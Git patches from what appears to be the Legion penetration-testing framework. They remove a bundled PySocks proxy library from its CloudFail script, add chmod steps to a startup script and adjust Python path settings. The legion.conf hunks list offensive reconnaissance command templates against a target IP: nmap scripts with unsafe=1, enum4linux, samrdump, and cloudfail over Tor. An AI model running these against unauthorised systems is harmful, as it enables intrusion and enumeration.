above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -3. Neither the name of Dan Haim nor the names of his contributors may be used - to endorse or promote products derived from this software without specific - prior written permission. - -THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO -EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA -OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT -OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. - - -This module provides a standard socket-like interface for Python -for tunneling connections through SOCKS proxies. - -=============================================================================== - -Minor modifications made by Christopher Gilbert (http://motomastyle.com/) -for use in PyLoris (http://pyloris.sourceforge.net/) - -Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) -mainly to merge bug fixes found in Sourceforge - -Modifications made by Anorov (https://github.com/Anorov) --Forked and renamed to PySocks --Fixed issue with HTTP proxy failure checking (same bug that was in the old ___recvall() method) --Included SocksiPyHandler (sockshandler.py), to be used as a urllib2 handler, - courtesy of e000 (https://github.com/e000): https://gist.github.com/869791#file_socksipyhandler.py --Re-styled code to make it readable - -Aliased PROXY_TYPE_SOCKS5 -> SOCKS5 etc. - -Improved exception handling and output - -Removed irritating use of sequence indexes, replaced with tuple unpacked variables - -Fixed up Python 3 bytestring handling - chr(0x03).encode() -> b"\x03" - -Other general fixes --Added clarification that the HTTP proxy connection method only supports CONNECT-style tunneling HTTP proxies --Various small bug fixes -""" - -__version__ = "1.5.7" - -import socket -import struct -from errno import EOPNOTSUPP, EINVAL, EAGAIN -from io import BytesIO -from os import SEEK_CUR -from collections import Callable -from base64 import b64encode - -PROXY_TYPE_SOCKS4 = SOCKS4 = 1 -PROXY_TYPE_SOCKS5 = SOCKS5 = 2 -PROXY_TYPE_HTTP = HTTP = 3 - -PROXY_TYPES = {"SOCKS4": SOCKS4, "SOCKS5": SOCKS5, "HTTP": HTTP} -PRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys())) - -_orgsocket = _orig_socket = socket.socket - -class ProxyError(IOError): - """ - socket_err contains original socket.error exception. - """ - def __init__(self, msg, socket_err=None): - self.msg = msg - self.socket_err = socket_err - - if socket_err: - self.msg += ": {0}".format(socket_err) - - def __str__(self): - return self.msg - -class GeneralProxyError(ProxyError): pass -class ProxyConnectionError(ProxyError): pass -class SOCKS5AuthError(ProxyError): pass -class SOCKS5Error(ProxyError): pass -class SOCKS4Error(ProxyError): pass -class HTTPError(ProxyError): pass - -SOCKS4_ERRORS = { 0x5B: "Request rejected or failed", - 0x5C: "Request rejected because SOCKS server cannot connect to identd on the client", - 0x5D: "Request rejected because the client program and identd report different user-ids" - } - -SOCKS5_ERRORS = { 0x01: "General SOCKS server failure", - 0x02: "Connection not allowed by ruleset", - 0x03: "Network unreachable", - 0x04: "Host unreachable", - 0x05: "Connection refused", - 0x06: "TTL expired", - 0x07: "Command not supported, or protocol error", - 0x08: "Address type not supported" - } - -DEFAULT_PORTS = { SOCKS4: 1080, - SOCKS5: 1080, - HTTP: 8080 - } - -def set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None): - """ - set_default_proxy(proxy_type, addr[, port[, rdns[, username, password]]]) - - Sets a default proxy which all further socksocket objects will use, - unless explicitly changed. All parameters are as for socket.set_proxy(). - """ - socksocket.default_proxy = (proxy_type, addr, port, rdns, - username.encode() if username else None, - password.encode() if password else None) - -setdefaultproxy = set_default_proxy - -def get_default_proxy(): - """ - Returns the default proxy, set by set_default_proxy. - """ - return socksocket.default_proxy - -getdefaultproxy = get_default_proxy - -def wrap_module(module): - """ - Attempts to replace a module's socket library with a SOCKS socket. Must set - a default proxy using set_default_proxy(...) first. - This will only work on modules that import socket directly into the namespace; - most of the Python Standard Library falls into this category. - """ - if socksocket.default_proxy: - module.socket.socket = socksocket - else: - raise GeneralProxyError("No default proxy specified") - -wrapmodule = wrap_module - -def create_connection(dest_pair, proxy_type=None, proxy_addr=None, - proxy_port=None, proxy_rdns=True, - proxy_username=None, proxy_password=None, - timeout=None, source_address=None, - socket_options=None): - """create_connection(dest_pair, *[, timeout], **proxy_args) -> socket object - - Like socket.create_connection(), but connects to proxy - before returning the socket object. - - dest_pair - 2-tuple of (IP/hostname, port). - **proxy_args - Same args passed to socksocket.set_proxy() if present. - timeout - Optional socket timeout value, in seconds. - source_address - tuple (host, port) for the socket to bind to as its source - address before connecting (only for compatibility) - """ - # Remove IPv6 brackets on the remote address and proxy address. - remote_host, remote_port = dest_pair - if remote_host.startswith('['): - remote_host = remote_host.strip('[]') - if proxy_addr and proxy_addr.startswith('['): - proxy_addr = proxy_addr.strip('[]') - - err = None - - # Allow the SOCKS proxy to be on IPv4 or IPv6 addresses. - for r in socket.getaddrinfo(proxy_addr, proxy_port, 0, socket.SOCK_STREAM): - family, socket_type, proto, canonname, sa = r - sock = None - try: - sock = socksocket(family, socket_type, proto) - - if socket_options is not None: - for opt in socket_options: - sock.setsockopt(*opt) - - if isinstance(timeout, (int, float)): - sock.settimeout(timeout) - - if proxy_type is not None: - sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns, - proxy_username, proxy_password) - if source_address is not None: - sock.bind(source_address) - - sock.connect((remote_host, remote_port)) - return sock - - except socket.error as e: - err = e - if sock is not None: - sock.close() - sock = None - - if err is not None: - raise err - - raise socket.error("gai returned empty list.") - -class _BaseSocket(socket.socket): - """Allows Python 2's "delegated" methods such as send() to be overridden - """ - def __init__(self, *pos, **kw): - _orig_socket.__init__(self, *pos, **kw) - - self._savedmethods = dict() - for name in self._savenames: - self._savedmethods[name] = getattr(self, name) - delattr(self, name) # Allows normal overriding mechanism to work - - _savenames = list() - -def _makemethod(name): - return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw) -for name in ("sendto", "send", "recvfrom", "recv"): - method = getattr(_BaseSocket, name, None) - - # Determine if the method is not defined the usual way - # as a function in the class. - # Python 2 uses __slots__, so there are descriptors for each method, - # but they are not functions. - if not isinstance(method, Callable): - _BaseSocket._savenames.append(name) - setattr(_BaseSocket, name, _makemethod(name)) - -class socksocket(_BaseSocket): - """socksocket([family[, type[, proto]]]) -> socket object - - Open a SOCKS enabled socket. The parameters are the same as - those of the standard socket init. In order for SOCKS to work, - you must specify family=AF_INET and proto=0. - The "type" argument must be either SOCK_STREAM or SOCK_DGRAM. - """ - - default_proxy = None - - def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, *args, **kwargs): - if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM): - msg = "Socket type must be stream or datagram, not {!r}" - raise ValueError(msg.format(type)) - - _BaseSocket.__init__(self, family, type, proto, *args, **kwargs) - self._proxyconn = None # TCP connection to keep UDP relay alive - - if self.default_proxy: - self.proxy = self.default_proxy - else: - self.proxy = (None, None, None, None, None, None) - self.proxy_sockname = None - self.proxy_peername = None - - def _readall(self, file, count): - """ - Receive EXACTLY the number of bytes requested from the file object. - Blocks until the required number of bytes have been received. - """ - data = b"" - while len(data) < count: - d = file.read(count - len(data)) - if not d: - raise GeneralProxyError("Connection closed unexpectedly") - data += d - return data - - def set_proxy(self, proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None): - """set_proxy(proxy_type, addr[, port[, rdns[, username[, password]]]]) - Sets the proxy to be used. - - proxy_type - The type of the proxy to be used. Three types - are supported: PROXY_TYPE_SOCKS4 (including socks4a), - PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP - addr - The address of the server (IP or DNS). - port - The port of the server. Defaults to 1080 for SOCKS - servers and 8080 for HTTP proxy servers. - rdns - Should DNS queries be performed on the remote side - (rather than the local side). The default is True. - Note: This has no effect with SOCKS4 servers. - username - Username to authenticate with to the server. - The default is no authentication. - password - Password to authenticate with to the server. - Only relevant when username is also provided. - """ - self.proxy = (proxy_type, addr, port, rdns, - username.encode() if username else None, - password.encode() if password else None) - - setproxy = set_proxy - - def bind(self, *pos, **kw): - """ - Implements proxy connection for UDP sockets, - which happens during the bind() phase. - """ - proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy - if not proxy_type or self.type != socket.SOCK_DGRAM: - return _orig_socket.bind(self, *pos, **kw) - - if self._proxyconn: - raise socket.error(EINVAL, "Socket already bound to an address") - if proxy_type != SOCKS5: - msg = "UDP only supported by SOCKS5 proxy type" - raise socket.error(EOPNOTSUPP, msg) - _BaseSocket.bind(self, *pos, **kw) - - # Need to specify actual local port because - # some relays drop packets if a port of zero is specified. - # Avoid specifying host address in case of NAT though. - _, port = self.getsockname() - dst = ("0", port) - - self._proxyconn = _orig_socket() - proxy = self._proxy_addr() - self._proxyconn.connect(proxy) - - UDP_ASSOCIATE = b"\x03" - _, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst) - - # The relay is most likely on the same host as the SOCKS proxy, - # but some proxies return a private IP address (10.x.y.z) - host, _ = proxy - _, port = relay - _BaseSocket.connect(self, (host, port)) - self.proxy_sockname = ("0.0.0.0", 0) # Unknown - - def sendto(self, bytes, *args, **kwargs): - if self.type != socket.SOCK_DGRAM: - return _BaseSocket.sendto(self, bytes, *args, **kwargs) - if not self._proxyconn: - self.bind(("", 0)) - - address = args[-1] - flags = args[:-1] - - header = BytesIO() - RSV = b"\x00\x00" - header.write(RSV) - STANDALONE = b"\x00" - header.write(STANDALONE) - self._write_SOCKS5_address(address, header) - - sent = _BaseSocket.send(self, header.getvalue() + bytes, *flags, **kwargs) - return sent - header.tell() - - def send(self, bytes, flags=0, **kwargs): - if self.type == socket.SOCK_DGRAM: - return self.sendto(bytes, flags, self.proxy_peername, **kwargs) - else: - return _BaseSocket.send(self, bytes, flags, **kwargs) - - def recvfrom(self, bufsize, flags=0): - if self.type != socket.SOCK_DGRAM: - return _BaseSocket.recvfrom(self, bufsize, flags) - if not self._proxyconn: - self.bind(("", 0)) - - buf = BytesIO(_BaseSocket.recv(self, bufsize, flags)) - buf.seek(+2, SEEK_CUR) - frag = buf.read(1) - if ord(frag): - raise NotImplementedError("Received UDP packet fragment") - fromhost, fromport = self._read_SOCKS5_address(buf) - - if self.proxy_peername: - peerhost, peerport = self.proxy_peername - if fromhost != peerhost or peerport not in (0, fromport): - raise socket.error(EAGAIN, "Packet filtered") - - return (buf.read(), (fromhost, fromport)) - - def recv(self, *pos, **kw): - bytes, _ = self.recvfrom(*pos, **kw) - return bytes - - def close(self): - if self._proxyconn: - self._proxyconn.close() - return _BaseSocket.close(self) - - def get_proxy_sockname(self): - """ - Returns the bound IP address and port number at the proxy. - """ - return self.proxy_sockname - - getproxysockname = get_proxy_sockname - - def get_proxy_peername(self): - """ - Returns the IP and port number of the proxy. - """ - return _BaseSocket.getpeername(self) - - getproxypeername = get_proxy_peername - - def get_peername(self): - """ - Returns the IP address and port number of the destination - machine (note: get_proxy_peername returns the proxy) - """ - return self.proxy_peername - - getpeername = get_peername - - def _negotiate_SOCKS5(self, *dest_addr): - """ - Negotiates a stream connection through a SOCKS5 server. - """ - CONNECT = b"\x01" - self.proxy_peername, self.proxy_sockname = self._SOCKS5_request(self, - CONNECT, dest_addr) - - def _SOCKS5_request(self, conn, cmd, dst): - """ - Send SOCKS5 request with given command (CMD field) and - address (DST field). Returns resolved DST address that was used. - """ - proxy_type, addr, port, rdns, username, password = self.proxy - - writer = conn.makefile("wb") - reader = conn.makefile("rb", 0) # buffering=0 renamed in Python 3 - try: - # First we'll send the authentication packages we support. - if username and password: - # The username/password details were supplied to the - # set_proxy method so we support the USERNAME/PASSWORD - # authentication (in addition to the standard none). - writer.write(b"\x05\x02\x00\x02") - else: - # No username/password were entered, therefore we - # only support connections with no authentication. - writer.write(b"\x05\x01\x00") - - # We'll receive the server's response to determine which - # method was selected - writer.flush() - chosen_auth = self._readall(reader, 2) - - if chosen_auth[0:1] != b"\x05": - # Note: string[i:i+1] is used because indexing of a bytestring - # via bytestring[i] yields an integer in Python 3 - raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - - # Check the chosen authentication method - - if chosen_auth[1:2] == b"\x02": - # Okay, we need to perform a basic username/password - # authentication. - writer.write(b"\x01" + chr(len(username)).encode() - + username - + chr(len(password)).encode() - + password) - writer.flush() - auth_status = self._readall(reader, 2) - if auth_status[0:1] != b"\x01": - # Bad response - raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - if auth_status[1:2] != b"\x00": - # Authentication failed - raise SOCKS5AuthError("SOCKS5 authentication failed") - - # Otherwise, authentication succeeded - - # No authentication is required if 0x00 - elif chosen_auth[1:2] != b"\x00": - # Reaching here is always bad - if chosen_auth[1:2] == b"\xFF": - raise SOCKS5AuthError("All offered SOCKS5 authentication methods were rejected") - else: - raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - - # Now we can request the actual connection - writer.write(b"\x05" + cmd + b"\x00") - resolved = self._write_SOCKS5_address(dst, writer) - writer.flush() - - # Get the response - resp = self._readall(reader, 3) - if resp[0:1] != b"\x05": - raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - - status = ord(resp[1:2]) - if status != 0x00: - # Connection failed: server returned an error - error = SOCKS5_ERRORS.get(status, "Unknown error") - raise SOCKS5Error("{0:#04x}: {1}".format(status, error)) - - # Get the bound address/port - bnd = self._read_SOCKS5_address(reader) - return (resolved, bnd) - finally: - reader.close() - writer.close() - - def _write_SOCKS5_address(self, addr, file): - """ - Return the host and port packed for the SOCKS5 protocol, - and the resolved address as a tuple object. - """ - host, port = addr - proxy_type, _, _, rdns, username, password = self.proxy - family_to_byte = {socket.AF_INET: b"\x01", socket.AF_INET6: b"\x04"} - - # If the given destination address is an IP address, we'll - # use the IP address request even if remote resolving was specified. - # Detect whether the address is IPv4/6 directly. - for family in (socket.AF_INET, socket.AF_INET6): - try: - addr_bytes = socket.inet_pton(family, host) - file.write(family_to_byte[family] + addr_bytes) - host = socket.inet_ntop(family, addr_bytes) - file.write(struct.pack(">H", port)) - return host, port - except socket.error: - continue - - # Well it's not an IP number, so it's probably a DNS name. - if rdns: - # Resolve remotely - host_bytes = host.encode('idna') - file.write(b"\x03" + chr(len(host_bytes)).encode() + host_bytes) - else: - # Resolve locally - addresses = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, socket.IPPROTO_TCP, socket.AI_ADDRCONFIG) - # We can't really work out what IP is reachable, so just pick the - # first. - target_addr = addresses[0] - family = target_addr[0] - host = target_addr[4][0] - - addr_bytes = socket.inet_pton(family, host) - file.write(family_to_byte[family] + addr_bytes) - host = socket.inet_ntop(family, addr_bytes) - file.write(struct.pack(">H", port)) - return host, port - - def _read_SOCKS5_address(self, file): - atyp = self._readall(file, 1) - if atyp == b"\x01": - addr = socket.inet_ntoa(self._readall(file, 4)) - elif atyp == b"\x03": - length = self._readall(file, 1) - addr = self._readall(file, ord(length)) - elif atyp == b"\x04": - addr = socket.inet_ntop(socket.AF_INET6, self._readall(file, 16)) - else: - raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - - port = struct.unpack(">H", self._readall(file, 2))[0] - return addr, port - - def _negotiate_SOCKS4(self, dest_addr, dest_port): - """ - Negotiates a connection through a SOCKS4 server. - """ - proxy_type, addr, port, rdns, username, password = self.proxy - - writer = self.makefile("wb") - reader = self.makefile("rb", 0) # buffering=0 renamed in Python 3 - try: - # Check if the destination address provided is an IP address - remote_resolve = False - try: - addr_bytes = socket.inet_aton(dest_addr) - except socket.error: - # It's a DNS name. Check where it should be resolved. - if rdns: - addr_bytes = b"\x00\x00\x00\x01" - remote_resolve = True - else: - addr_bytes = socket.inet_aton(socket.gethostbyname(dest_addr)) - - # Construct the request packet - writer.write(struct.pack(">BBH", 0x04, 0x01, dest_port)) - writer.write(addr_bytes) - - # The username parameter is considered userid for SOCKS4 - if username: - writer.write(username) - writer.write(b"\x00") - - # DNS name if remote resolving is required - # NOTE: This is actually an extension to the SOCKS4 protocol - # called SOCKS4A and may not be supported in all cases. - if remote_resolve: - writer.write(dest_addr.encode('idna') + b"\x00") - writer.flush() - - # Get the response from the server - resp = self._readall(reader, 8) - if resp[0:1] != b"\x00": - # Bad data - raise GeneralProxyError("SOCKS4 proxy server sent invalid data") - - status = ord(resp[1:2]) - if status != 0x5A: - # Connection failed: server returned an error - error = SOCKS4_ERRORS.get(status, "Unknown error") - raise SOCKS4Error("{0:#04x}: {1}".format(status, error)) - - # Get the bound address/port - self.proxy_sockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) - if remote_resolve: - self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port - else: - self.proxy_peername = dest_addr, dest_port - finally: - reader.close() - writer.close() - - def _negotiate_HTTP(self, dest_addr, dest_port): - """ - Negotiates a connection through an HTTP server. - NOTE: This currently only supports HTTP CONNECT-style proxies. - """ - proxy_type, addr, port, rdns, username, password = self.proxy - - # If we need to resolve locally, we do this now - addr = dest_addr if rdns else socket.gethostbyname(dest_addr) - - http_headers = [ - b"CONNECT " + addr.encode('idna') + b":" + str(dest_port).encode() + b" HTTP/1.1", - b"Host: " + dest_addr.encode('idna') - ] - - if username and password: - http_headers.append(b"Proxy-Authorization: basic " + b64encode(username + b":" + password)) - - http_headers.append(b"\r\n") - - self.sendall(b"\r\n".join(http_headers)) - - # We just need the first line to check if the connection was successful - fobj = self.makefile() - status_line = fobj.readline() - fobj.close() - - if not status_line: - raise GeneralProxyError("Connection closed unexpectedly") - - try: - proto, status_code, status_msg = status_line.split(" ", 2) - except ValueError: - raise GeneralProxyError("HTTP proxy server sent invalid response") - - if not proto.startswith("HTTP/"): - raise GeneralProxyError("Proxy server does not appear to be an HTTP proxy") - - try: - status_code = int(status_code) - except ValueError: - raise HTTPError("HTTP proxy server did not return a valid HTTP status") - - if status_code != 200: - error = "{0}: {1}".format(status_code, status_msg) - if status_code in (400, 403, 405): - # It's likely that the HTTP proxy server does not support the CONNECT tunneling method - error += ("\n[*] Note: The HTTP proxy server may not be supported by PySocks" - " (must be a CONNECT tunnel proxy)") - raise HTTPError(error) - - self.proxy_sockname = (b"0.0.0.0", 0) - self.proxy_peername = addr, dest_port - - _proxy_negotiators = { - SOCKS4: _negotiate_SOCKS4, - SOCKS5: _negotiate_SOCKS5, - HTTP: _negotiate_HTTP - } - - - def connect(self, dest_pair): - """ - Connects to the specified destination through a proxy. - Uses the same API as socket's connect(). - To select the proxy server, use set_proxy(). - - dest_pair - 2-tuple of (IP/hostname, port). - """ - if len(dest_pair) != 2 or dest_pair[0].startswith("["): - # Probably IPv6, not supported -- raise an error, and hope - # Happy Eyeballs (RFC6555) makes sure at least the IPv4 - # connection works... - raise socket.error("PySocks doesn't support IPv6") - - dest_addr, dest_port = dest_pair - - if self.type == socket.SOCK_DGRAM: - if not self._proxyconn: - self.bind(("", 0)) - dest_addr = socket.gethostbyname(dest_addr) - - # If the host address is INADDR_ANY or similar, reset the peer - # address so that packets are received from any peer - if dest_addr == "0.0.0.0" and not dest_port: - self.proxy_peername = None - else: - self.proxy_peername = (dest_addr, dest_port) - return - - proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy - - # Do a minimal input check first - if (not isinstance(dest_pair, (list, tuple)) - or len(dest_pair) != 2 - or not dest_addr - or not isinstance(dest_port, int)): - raise GeneralProxyError("Invalid destination-connection (host, port) pair") - - - if proxy_type is None: - # Treat like regular socket object - self.proxy_peername = dest_pair - _BaseSocket.connect(self, (dest_addr, dest_port)) - return - - proxy_addr = self._proxy_addr() - - try: - # Initial connection to proxy server - _BaseSocket.connect(self, proxy_addr) - - except socket.error as error: - # Error while connecting to proxy - self.close() - proxy_addr, proxy_port = proxy_addr - proxy_server = "{0}:{1}".format(proxy_addr, proxy_port) - printable_type = PRINTABLE_PROXY_TYPES[proxy_type] - - msg = "Error connecting to {0} proxy {1}".format(printable_type, - proxy_server) - raise ProxyConnectionError(msg, error) - - else: - # Connected to proxy server, now negotiate - try: - # Calls negotiate_{SOCKS4, SOCKS5, HTTP} - negotiate = self._proxy_negotiators[proxy_type] - negotiate(self, dest_addr, dest_port) - except socket.error as error: - # Wrap socket errors - self.close() - raise GeneralProxyError("Socket error", error) - except ProxyError: - # Protocol error while negotiating with proxy - self.close() - raise - - def _proxy_addr(self): - """ - Return proxy address to connect to as tuple object - """ - proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy - proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) - if not proxy_port: - raise GeneralProxyError("Invalid proxy type") - return proxy_addr, proxy_port diff --git a/scripts/CloudFail/sockshandler.py b/scripts/CloudFail/sockshandler.py deleted file mode 100644 index 26c83439..00000000 --- a/scripts/CloudFail/sockshandler.py +++ /dev/null @@ -1,79 +0,0 @@ -#!/usr/bin/env python -""" -SocksiPy + urllib2 handler - -version: 0.3 -author: e - -This module provides a Handler which you can use with urllib2 to allow it to tunnel your connection through a socks.sockssocket socket, with out monkey patching the original socket... -""" -import ssl - -try: - import urllib2 - import httplib -except ImportError: # Python 3 - import urllib.request as urllib2 - import http.client as httplib - -import socks # $ pip install PySocks - -def merge_dict(a, b): - d = a.copy() - d.update(b) - return d - -class SocksiPyConnection(httplib.HTTPConnection): - def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs): - self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password) - httplib.HTTPConnection.__init__(self, *args, **kwargs) - - def connect(self): - self.sock = socks.socksocket() - self.sock.setproxy(*self.proxyargs) - if type(self.timeout) in (int, float): - self.sock.settimeout(self.timeout) - self.sock.connect((self.host, self.port)) - -class SocksiPyConnectionS(httplib.HTTPSConnection): - def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs): - self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password) - httplib.HTTPSConnection.__init__(self, *args, **kwargs) - - def connect(self): - sock = socks.socksocket() - sock.setproxy(*self.proxyargs) - if type(self.timeout) in (int, float): - sock.settimeout(self.timeout) - sock.connect((self.host, self.port)) - self.sock = ssl.wrap_socket(sock, self.key_file, self.cert_file) - -class SocksiPyHandler(urllib2.HTTPHandler, urllib2.HTTPSHandler): - def __init__(self, *args, **kwargs): - self.args = args - self.kw = kwargs - urllib2.HTTPHandler.__init__(self) - - def http_open(self, req): - def build(host, port=None, timeout=0, **kwargs): - kw = merge_dict(self.kw, kwargs) - conn = SocksiPyConnection(*self.args, host=host, port=port, timeout=timeout, **kw) - return conn - return self.do_open(build, req) - - def https_open(self, req): - def build(host, port=None, timeout=0, **kwargs): - kw = merge_dict(self.kw, kwargs) - conn = SocksiPyConnectionS(*self.args, host=host, port=port, timeout=timeout, **kw) - return conn - return self.do_open(build, req) - -if __name__ == "__main__": - import sys - try: - port = int(sys.argv[1]) - except (ValueError, IndexError): - port = 9050 - opener = urllib2.build_opener(SocksiPyHandler(socks.PROXY_TYPE_SOCKS5, "localhost", port)) - print("HTTP: " + opener.open("http://httpbin.org/ip").read().decode()) - print("HTTPS: " + opener.open("https://httpbin.org/ip").read().decode()) diff --git a/startLegion.sh b/startLegion.sh index 7b0e6a41..24c955bf 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -2,6 +2,13 @@ echo "Strap yourself in, we're starting Legion..." +# Set everything we might need as executable +chmod a+x ./deps/*.sh +chmod a+x ./scripts/*.sh +chmod a+x ./scripts/*.py +chmod a+x ./scripts/*.pl +chmod a+x ./scripts/*.rb + # Determine and set the Python and Pip paths source ./deps/detectPython.sh From 40fa501fc461602ad208de4195f09e4750341847 Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 16 Apr 2019 16:07:51 -0400 Subject: [PATCH 212/450] Setting python variable --- legion.conf | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index c9872748..14e4dbb0 100644 --- a/legion.conf +++ b/legion.conf @@ -277,7 +277,7 @@ webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap -cloudfail=Run cloudfail, "python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail +cloudfail=Run cloudfail, "python scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], @@ -320,3 +320,4 @@ cutycapt-path=/usr/bin/cutycapt hydra-path=/usr/bin/hydra nmap-path=/usr/bin/nmap texteditor-path=/usr/bin/leafpad +python-path=/usr/bin/python From 3c11d5177bb58732d242682cb71e6abdc5be2fc2 Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 16 Apr 2019 16:11:51 -0400 Subject: [PATCH 213/450] Added python variable --- app/settings.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/app/settings.py b/app/settings.py index 2bb98378..dafdff9a 100644 --- a/app/settings.py +++ b/app/settings.py @@ -165,6 +165,7 @@ def backupAndSave(self, newSettings, saveBackup = True): self.actions.setValue('hydra-path', newSettings.tools_path_hydra) self.actions.setValue('cutycapt-path', newSettings.tools_path_cutycapt) self.actions.setValue('texteditor-path', newSettings.tools_path_texteditor) + self.actions.setValue('python-path', newSettings.tools_path_python) self.actions.endGroup() self.actions.beginGroup('StagedNmapSettings') @@ -238,6 +239,7 @@ def __init__(self, appSettings=None): self.tools_path_hydra = "/usr/bin/hydra" self.tools_path_cutycapt = "/usr/bin/cutycapt" self.tools_path_texteditor = "/usr/bin/leafpad" + self.tools_path_python = os.environ["PYTHON3BIN"] # GUI settings self.gui_process_tab_column_widths = "125,0,100,150,100,100,100,100,100,100,100,100,100,100,100,100,100" @@ -294,6 +296,7 @@ def __init__(self, appSettings=None): self.tools_path_hydra = self.toolSettings['hydra-path'] self.tools_path_cutycapt = self.toolSettings['cutycapt-path'] self.tools_path_texteditor = self.toolSettings['texteditor-path'] + self.tools_path_python = self.toolSettings['python-path'] # gui self.gui_process_tab_column_widths = self.guiSettings['process-tab-column-widths'] From 4c5c8c1e5ea538473b8b67d472531387c427a5f3 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 18 Apr 2019 17:31:14 -0400 Subject: [PATCH 214/450] Editing Python env variable --- deps/detectPython.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/deps/detectPython.sh b/deps/detectPython.sh index ff559847..f3e3714b 100644 --- a/deps/detectPython.sh +++ b/deps/detectPython.sh @@ -241,5 +241,6 @@ fi echo "Python 3 bin is ${pythonBin} ($(which ${pythonBin}))" echo "Pip 3 bin is ${pipBin} ($(which ${pipBin}))" -export PYTHON3BIN=$(which ${pythonBin}) +PYTHON3BIN=${pythonBin} +export PYTHON3BIN export PIP3BIN=$(which ${pipBin}) From f3bdeedc63a9fab813ac88dcd0552968da1b1441 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 18 Apr 2019 17:50:37 -0400 Subject: [PATCH 215/450] Changed default python variable to python3 --- legion.conf | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/legion.conf b/legion.conf index 14e4dbb0..76055f97 100644 --- a/legion.conf +++ b/legion.conf @@ -41,7 +41,7 @@ citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --sc citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -cloudfail=Run cloudfail, python scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail +cloudfail=Run cloudfail, python3 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" @@ -212,7 +212,7 @@ riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-ht rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind rwho=Run rwho, rwho -a [IP], who samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] 